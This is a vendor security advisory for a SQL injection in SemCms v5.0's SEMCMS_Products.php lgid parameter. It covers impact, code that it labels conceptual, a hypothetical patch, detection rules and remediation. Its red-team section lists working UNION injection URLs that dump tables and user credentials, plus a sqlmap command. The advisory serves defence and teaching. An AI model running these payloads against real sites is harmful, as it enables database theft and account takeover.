CVE-2025-51660
Executive Summary
CVE-2025-51660 identifies a SQL injection vulnerability in SemCms v5.0, specifically within the SEMCMS_Products.php file via the lgid parameter. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is publicly known but currently unpatched, posing a significant risk to all instances running the affected version. No EPSS score or exploit code has been published at this time, but the attack vector is straightforward and exploitable with basic web application testing tools.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Potential for denial of service via SQL manipulation.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The lack of authentication and low complexity make this a high-priority target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability resides in the SEMCMS_Products.php script, which handles product-related queries. The lgid parameter is used to filter products by category or language ID. The application fails to sanitize or parameterize this input before incorporating it into a SQL query.
Vulnerable Code Pattern (Conceptual):
$lgid = $_GET['lgid'];
$query = "SELECT * FROM products WHERE lang_id = $lgid";
$result = mysqli_query($conn, $query);
An attacker can manipulate the lgid parameter to break out of the intended SQL syntax. For example:
http://target.com/SEMCMS_Products.php?lgid=1 UNION SELECT username,password FROM users--
This would return user credentials alongside product data, assuming the column counts match.
Impact:
- Data Exfiltration: Attackers can dump the entire database, including user credentials, session tokens, and sensitive business data.
- Authentication Bypass: By manipulating login queries, attackers may gain administrative access.
- Data Integrity Loss:
UPDATEorDELETEstatements can corrupt or destroy data. - Potential RCE: In some configurations, SQL injection can lead to file writes or command execution via
INTO OUTFILEorxp_cmdshell(if MySQL and PHP configurations allow).
Vulnerable vs. Patched Code
Vulnerable Code (SemCms v5.0):
$lgid = $_GET['lgid'];
$query = "SELECT * FROM products WHERE lang_id = $lgid";
$result = mysqli_query($conn, $query);
Patched Code (Hypothetical):
$lgid = intval($_GET['lgid']); // Cast to integer
$query = "SELECT * FROM products WHERE lang_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $lgid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from data.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable SemCms v5.0 instance (e.g., using Docker or a local web server with PHP and MySQL).
- Ensure the
SEMCMS_Products.phpendpoint is accessible.
Exploitation Steps:
- Identify the vulnerable parameter:
http://target/SEMCMS_Products.php?lgid=1 - Test for SQL injection:
If an error is returned (e.g., MySQL syntax error), the parameter is injectable.http://target/SEMCMS_Products.php?lgid=1' - Determine column count:
Adjust the number until an error occurs to find the correct column count.http://target/SEMCMS_Products.php?lgid=1 ORDER BY 10-- - Extract data:
Replace numbers with database functions likehttp://target/SEMCMS_Products.php?lgid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--database(),user(), or@@version. - Dump tables:
http://target/SEMCMS_Products.php?lgid=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- - Dump credentials:
http://target/SEMCMS_Products.php?lgid=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10 FROM users--
Automated Tools:
- sqlmap:
sqlmap -u "http://target/SEMCMS_Products.php?lgid=1" --batch --dbs - Burp Suite: Use Intruder or Repeater to manually craft payloads.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual SQL keywords in GET parameters (e.g.,
UNION,SELECT,--,'). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Use database activity monitoring to detect anomalous queries.
Hunting:
- Search for requests to
SEMCMS_Products.phpwithlgidparameters containing SQL syntax. - Look for error messages containing "MySQL" or "SQL syntax" in server responses.
Containment:
- Immediately isolate the vulnerable server if exploitation is suspected.
- Review database logs for unauthorized queries.
- Rotate all credentials stored in the database.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/SEMCMS_Products.phpwithlgidparameter containing SQL keywords (e.g.,UNION,SELECT,--,'). - Outbound database connections from the web server to unknown IPs (data exfiltration).
- HTTP requests to
- File IOCs:
- Unexpected files in the web root (e.g.,
.sqldumps, webshells). - Modified
SEMCMS_Products.phpfile (if attacker patches it).
- Unexpected files in the web root (e.g.,
- Log IOCs:
- Web server logs showing repeated
400or500errors from the same IP. - Database logs showing
UNION SELECTorINTO OUTFILEstatements.
- Web server logs showing repeated
Detection Engineering
YARA Rule
rule CVE_2025_51660_SQLi_SemCms {
meta:
description = "Detects SQL injection attempts targeting SemCms v5.0 lgid parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51660"
strings:
$s1 = "lgid=" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "DROP" nocase
$s5 = "1=1" nocase
$s6 = "' OR '" nocase
condition:
$s1 and any of ($s2,$s3,$s4,$s5,$s6)
}
Sigma Rule
title: SQL Injection Attempt on SemCms Products Page
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to SEMCMS_Products.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'SEMCMS_Products.php'
cs-uri-query|contains|any:
- 'lgid='
- 'UNION'
- 'SELECT'
- 'DROP'
- '1=1'
- "' OR '"
condition: selection
falsepositives:
- Legitimate use of the word "union" in a product name (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-51660 SQL Injection Attempt on SemCms Products"; flow:to_server,established; content:"GET"; http_method; content:"SEMCMS_Products.php"; http_uri; content:"lgid="; http_uri; pcre:"/(UNION|SELECT|DROP|1=1|' OR ')/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: If
SEMCMS_Products.phpis not critical, remove or rename it. - Apply input validation: Implement strict whitelisting for the
lgidparameter (e.g., only allow numeric values). - Use a WAF: Deploy a Web Application Firewall with SQL injection rules (e.g., ModSecurity with OWASP CRS).
Long-Term Fix:
- Upgrade SemCms: Monitor the vendor for a patched version. If none is available, consider migrating to a supported CMS.
- Code Hardening: Rewrite the vulnerable code to use prepared statements or parameterized queries.
- Database Hardening: Apply the principle of least privilege to the database user used by the application.
Workaround:
- Input Sanitization: Add a PHP filter to reject non-numeric input:
if (!is_numeric($_GET['lgid'])) { die("Invalid input"); }
Valters IT – Securing your digital frontier.